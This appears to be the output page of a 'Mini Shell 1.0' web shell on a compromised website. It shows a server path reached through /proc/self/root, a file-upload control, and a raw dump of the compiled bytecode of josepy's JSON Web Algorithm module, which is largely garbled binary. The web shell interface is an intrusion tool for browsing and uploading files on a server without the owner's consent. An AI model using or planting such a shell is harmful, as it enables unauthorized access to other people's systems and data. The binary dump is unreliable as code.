HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/josepy/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/josepy/__pycache__/jwa.cpython-311.pyc
�

*bQ����dZddlZddlZddlmZddlmZmZmZddl	Z
ddlmZddl
mZmZddlmZmZmZddlmZmZdd	lmZdd
lmZmZmZeje��ZGd�dej ��Z!Gd
�de!e��Z"Gd�de"��Z#Gd�d��Z$Gd�de$e"��Z%Gd�de$e"��Z&Gd�de"��Z'e"�(e#dej)����Z*e"�(e#dej+����Z,e"�(e#dej-����Z.e"�(e%dej)����Z/e"�(e%dej+����Z0e"�(e%dej-����Z1e"�(e&dej)����Z2e"�(e&d ej+����Z3e"�(e&d!ej-����Z4e"�(e'd"ej)����Z5e"�(e'd#ej+����Z6e"�(e'd$ej-����Z7dS)%zZJSON Web Algorithms.

https://tools.ietf.org/html/draft-ietf-jose-json-web-algorithms-40

�N)�Hashable)�Any�Callable�Dict)�default_backend)�hashes�hmac)�ec�padding�rsa)�decode_dss_signature�encode_dss_signature)�
HashAlgorithm)�errors�
interfaces�jwkc��eZdZdZdS)�JWAzJSON Web Algorithm.N)�__name__�
__module__�__qualname__�__doc__���,/usr/lib/python3/dist-packages/josepy/jwa.pyrrs���������rrc	��eZdZUdZiZeedfed<eed<deddfd�Z	dede
fd	�Zdefd
�Z
edd���Zdefd
�Zededdfd���Zejdededefd���Zejdededede
fd���Zdefd�ZdS)�JWASignaturez-Base class for JSON Web Signature Algorithms.�
SIGNATURES�kty�name�returnNc��||_dS�N�r )�selfr s  r�__init__zJWASignature.__init__%s
����	�	�	r�otherc�Z�t|t��stS|j|jkSr#)�
isinstancer�NotImplementedr )r%r's  r�__eq__zJWASignature.__eq__(s)���%��.�.�	"�!�!��y�E�J�&�&rc�8�t|j|jf��Sr#)�hash�	__class__r �r%s r�__hash__zJWASignature.__hash__-s���T�^�T�Y�/�0�0�0r�
signature_clsc�$�||j|j<|S)z(Register class for JSON deserialization.)rr )�clsr1s  r�registerzJWASignature.register0s��.;���}�)�*��rc��|jSr#r$r/s r�to_partial_jsonzJWASignature.to_partial_json6�
���y�r�jobjc��|j|Sr#)r)r3r8s  r�	from_jsonzJWASignature.from_json9s���~�d�#�#r�key�msgc��t���)�Sign the ``msg`` using ``key``.��NotImplementedError)r%r;r<s   r�signzJWASignature.sign=���"�#�#�#r�sigc��t���)z-Verify the ``msg`` and ``sig`` using ``key``.r?)r%r;r<rCs    r�verifyzJWASignature.verifyBrBrc��|jSr#r$r/s r�__repr__zJWASignature.__repr__Gr7r)r1rr!r)rrrrrr�str�__annotations__rr&�boolr+�intr0�classmethodr4r6r:�abc�abstractmethod�bytesrArErGrrrrr s��������7�7�,.�J��S�.�(�)�.�.�.�	�H�H�H��S��T�����'�C�'�D�'�'�'�'�
1�#�1�1�1�1������[��
�������$�S�$�^�$�$�$��[�$�	��$��$�%�$�E�$�$�$���$�	��$�#�$�E�$��$�$�$�$�$���$��#������rrc�r��eZdZejZdedegeff�fd�Z	de
de
de
fd�Zde
de
de
defd	�Z
�xZS)
�_JWAHSr �hash_c�h��t���|��|��|_dSr#��superr&r-�r%r rRr.s   �rr&z_JWAHS.__init__N�,���
����������E�G�G��	�	�	rr;r<r!c��tj||jt�����}|�|��|���S)N��backend)r	�HMACr-r�update�finalize)r%r;r<�signers    rrAz_JWAHS.signRsB����3��	�?�3D�3D�E�E�E���
�
�c������� � � rrCc�(�tj||jt�����}|�|��	|�|��dS#tjj$r'}t�
|d���Yd}~dSd}~wwxYw)NrYT��exc_infoF)r	r[r-rr\rE�cryptography�
exceptions�InvalidSignature�logger�debug)r%r;r<rC�verifier�errors      rrEz
_JWAHS.verifyWs����9�S�$�)�_�5F�5F�G�G�G���������	��O�O�C� � � �
�4��	�&�7�	�	�	��L�L���L�.�.�.��5�5�5�5�5�����	���s�A�B�*B�B)rrrr�JWKOctrrHrrr&rOrArJrE�
__classcell__�r.s@rrQrQKs��������

�*�C��S���"�m�2C�)D�������!��!�E�!�e�!�!�!�!�
	�%�	�e�	�%�	�D�	�	�	�	�	�	�	�	rrQc�z�eZdZUejZeZee	d<eZ
ee	d<dej
dedefd�Zdejdededefd�Zd	S)
�_JWARSArr-r;r<r!c�^�	|�||j|j��S#t$r5}t�|d���t
jd���d}~wt$rB}t�|d���t
jt|�����d}~wwxYw)r>Tr`�%Public key cannot be used for signingN)
rArr-�AttributeErrorrerfr�Error�
ValueErrorrH�r%r;r<rhs    rrAz_JWARSA.signhs���	+��8�8�C���t�y�9�9�9���	H�	H�	H��L�L���L�.�.�.��,�F�G�G�G������	+�	+�	+��L�L���L�.�.�.��,�s�5�z�z�*�*�*�����	+���s � #�
B,�0A�
B,�*=B'�'B,rCc���	|�|||j|j��dS#tjj$r'}t�|d���Yd}~dSd}~wwxYw)�,Verify the ``msg` and ``sig`` using ``key``.Tr`NF)rErr-rbrcrdrerf)r%r;r<rCrhs     rrEz_JWARSA.verifysst��	��J�J�s�C���t�y�9�9�9�
�4��	�&�7�	�	�	��L�L���L�.�.�.��5�5�5�5�5�����	���s�"&�A!�A�A!N)rrrr�JWKRSArr*rrrIr-rr�
RSAPrivateKeyrOrA�RSAPublicKeyrJrErrrrmrmcs��������

�*�C�!�G�S�!�!�!�(�D�-�(�(�(�	+��)�	+��	+�%�	+�	+�	+�	+��#�*����U��t������rrmc�<��eZdZdedegefddf�fd�Z�xZS)�_JWARSr rRr!Nc���t���|��tj��|_|��|_dSr#)rUr&r�PKCS1v15r-rVs   �rr&z_JWARS.__init__�s<���
����������'�)�)����E�G�G��	�	�	r�rrrrHrrr&rjrks@rrzrz~s\��������S���"�m�2C�)D������������rrzc�<��eZdZdedegefddf�fd�Z�xZS)�_JWAPSr rRr!Nc����t���|��tjtj|����tjj���|_|��|_dS)N)�mgf�salt_length)rUr&r�PSS�MGF1�
MAX_LENGTHr-rVs   �rr&z_JWAPS.__init__�sa���
����������{���U�U�W�W�%�%���.�0�0�0����E�G�G��	�	�	rr}rks@rrr�s\��������S���"�m�2C�)D������������rrc����eZdZejZdedegeff�fd�Z	de
jdedefd�Z
de
jdedefd�Zde
jded	edefd
�Zde
jdededefd�Z�xZS)
�_JWAECr rRc�h��t���|��|��|_dSr#rTrVs   �rr&z_JWAEC.__init__�rWrr;r<r!c��|�||��}t|��\}}tj�|j��}|�|d���|�|d���zS)r>�big)�length�	byteorder)�_signr
r�JWKEC�expected_length_for_curve�curve�to_bytes)r%r;r<rC�dr�dsr�s       rrAz_JWAEC.sign�sm���j�j��c�"�"��%�c�*�*���B���4�4�S�Y�?�?�����6�U��;�;����6�U��;�;�<�	=rc�v�	|�|tj|j����S#t$r5}t
�|d���tjd���d}~wt$rB}t
�|d���tjt|�����d}~wwxYw)NTr`ro)rAr
�ECDSAr-rprerfrrqrrrHrss    rr�z_JWAEC._sign�s���	+��8�8�C���$�)�!4�!4�5�5�5���	H�	H�	H��L�L���L�.�.�.��,�F�G�G�G������	+�	+�	+��L�L���L�.�.�.��,�s�5�z�z�*�*�*�����	+���s �,/�
B8�0A)�)
B8�6=B3�3B8rCc�P�tj�|j��}t	|��d|zkrdStt�|d|�d���t�||d�d�����}|�|||��S)ru�Frr�)r�N)	rr�r�r��lenrrK�
from_bytes�_verify)r%r;r<rC�rlen�asn1sigs      rrEz
_JWAEC.verify�s����y�2�2�3�9�=�=���s�8�8�q�4�x����5�&��N�N�3�q��v�;�%�N�8�8��N�N�3�t�u�u�:��N�7�7�
�
���|�|�C��g�.�.�.rr�c���	|�||tj|j����dS#tjj$r'}t�|d���Yd}~dSd}~wwxYw)NTr`F)	rEr
r�r-rbrcrdrerf)r%r;r<r�rhs     rr�z_JWAEC._verify�sz��	��J�J�w��R�X�d�i�%8�%8�9�9�9�
�4��	�&�7�	�	�	��L�L���L�.�.�.��5�5�5�5�5�����	���s�.2�A-�A(�(A-)rrrrr�rrHrrr&r
�EllipticCurvePrivateKeyrOrAr��EllipticCurvePublicKeyrJrEr�rjrks@rr�r��s�������

�)�C��S���"�m�2C�)D�������=��2�=��=�5�=�=�=�=�+��3�+�%�+�E�+�+�+�+�
/�"�3�
/�%�
/�e�
/�PT�
/�
/�
/�
/��2�4��5��5��UY��������rr��HS256�HS384�HS512�RS256�RS384�RS512�PS256�PS384�PS512�ES256�ES384�ES512)8rrM�logging�collections.abcr�typingrrr�cryptography.exceptionsrb�cryptography.hazmat.backendsr�cryptography.hazmat.primitivesrr	�)cryptography.hazmat.primitives.asymmetricr
rr�/cryptography.hazmat.primitives.asymmetric.utilsr
r�%cryptography.hazmat.primitives.hashesr�josepyrrr�	getLoggerrre�JSONDeSerializablerrrQrmrzrr�r4�SHA256r��SHA384r��SHA512r�r�r�r�r�r�r�r�r�r�rrr�<module>r�s�����
�
�
�
�����$�$�$�$�$�$�&�&�&�&�&�&�&�&�&�&�����8�8�8�8�8�8�7�7�7�7�7�7�7�7�F�F�F�F�F�F�F�F�F�F���������@�?�?�?�?�?�*�*�*�*�*�*�*�*�*�*�	��	�8�	$�	$�������*�
'����(�(�(�(�(�3��(�(�(�V�����\����0��������6�����W�l���������W�l����,�,�,�,�,�\�,�,�,�`	���f�f�W�f�m�<�<�=�=�����f�f�W�f�m�<�<�=�=�����f�f�W�f�m�<�<�=�=��	���f�f�W�f�m�<�<�=�=�����f�f�W�f�m�<�<�=�=�����f�f�W�f�m�<�<�=�=��	���f�f�W�f�m�<�<�=�=�����f�f�W�f�m�<�<�=�=�����f�f�W�f�m�<�<�=�=��	���f�f�W�f�m�<�<�=�=�����f�f�W�f�m�<�<�=�=�����f�f�W�f�m�<�<�=�=���r